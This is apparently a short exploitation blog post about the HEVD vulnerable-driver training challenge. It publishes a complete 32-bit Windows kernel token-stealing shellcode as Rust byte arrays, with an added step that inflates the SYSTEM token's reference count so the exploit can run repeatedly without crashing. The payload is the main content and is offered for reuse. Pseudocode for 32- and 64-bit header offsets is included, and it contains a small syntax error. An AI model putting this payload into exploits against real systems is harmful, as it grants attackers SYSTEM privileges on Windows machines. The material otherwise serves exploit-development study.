Windows Kernel Exploitation : Token stealing payload with the reference counter updated
Hello,
I’ve been playing a bit with HEVD and it is indeed a fun challenge.
I will publish my multi-exploit but I won’t detail exploitation as there is a lot of documentation on the techniques used already.
The part that is surprising though is that the token stealing payload not updating the reference counter is a well known issue all around … but I haven’t seen a public payload that fixes it.
The payload
It is written in assembly but I used it in Rust :).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
fn get_payload_token_stealing (payload_end : &[u8]) -> Vec<u8> {
let mut token_stealing_payload : Vec<u8> = vec![
0x60, // pushad
// Get nt!_KPCR.PcrbData.CurrentThread
0x31, 0xc0, // xor eax,eax
0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00, // mov eax,[fs:eax+0x124]
// Get nt!_KTHREAD.ApcState.Process
0x8b, 0x40, 0x50, // mov eax,[eax+0x50]
0x89, 0xc1, // mov ecx,eax
0xba, 0x04, 0x00, 0x00, 0x00, // mov edx,0x4
// lookup for the system eprocess
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, // mov eax,[eax+0xb8]
0x2d, 0xb8, 0x00, 0x00, 0x00, // sub eax,0xb8
0x39, 0x90, 0xb4, 0x00, 0x00, 0x00, // cmp [eax+0xb4],edx
0x75, 0xed, // jnz 0x1a
// get the system token
0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00, // mov edx,[eax+0xf8]
// patch it in our current eprocess
0x89, 0x91, 0xf8, 0x00, 0x00, 0x00, // mov [ecx+0xf8],edx
// Increment the token reference count.
// The PointerCount gets decremented when the process exit.
// If it arrives to 0,
// the SYSTEM TOKEN is freed and this causes a BSoD.
// Here we won't get that BSoD,
// since we "properly" increase the PointerCount.
// OBJECT_HEADER.PointerCount
0xb9, 0x07, 0x00, 0x00, 0x00, // mov ecx, 7
0xf7, 0xd1, // not ecx
0x21, 0xca, // and edx, ecx
// TOKEN-0x18 = Token Object Header
0x83, 0xea, 0x18, // sub edx, 0x18
// patch PointerCount
// set it to a high value
0xc7, 0x02, 0x00, 0x00, 0x01, 0x00, // mov dword ptr [edx], 0x10000
// set NTSTATUS to 0
0x31, 0xc0, // xor eax,eax \
0x61, // popad \
];
for byte in payload_end.iter() {
token_stealing_payload.push(*byte);
}
token_stealing_payload
}
So what it does after stealing the token is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
// there are no condition in the ASM but showing how it can be done in 32 and 64 bits
_OBJECT_HEADER *hdr;
if (arch == 32) {
hdr = (uint8_t *) pToken - 0x18;
}
else (arch == 64 {
hdr = (uint8_t *) pToken - 0x30;
}
else {
// fail
}
hdr->PointerCount = 0x10000;
Why is it important to update that reference counter?
When your NT_AUTHORITY/SYSTEM shell is closed/exited, that counter is decremented. As soon as it reaches 0, the token is freed but it is still used by the SYSTEM process. That’s part of why we get a BSoD if that’s not taken cared of.
Conclusion
That’s it, you can now exploit successfully multiple times without fearing a BSoD due to a BAD_POINTER_REFERENCE error ;).
Cheers,
m_101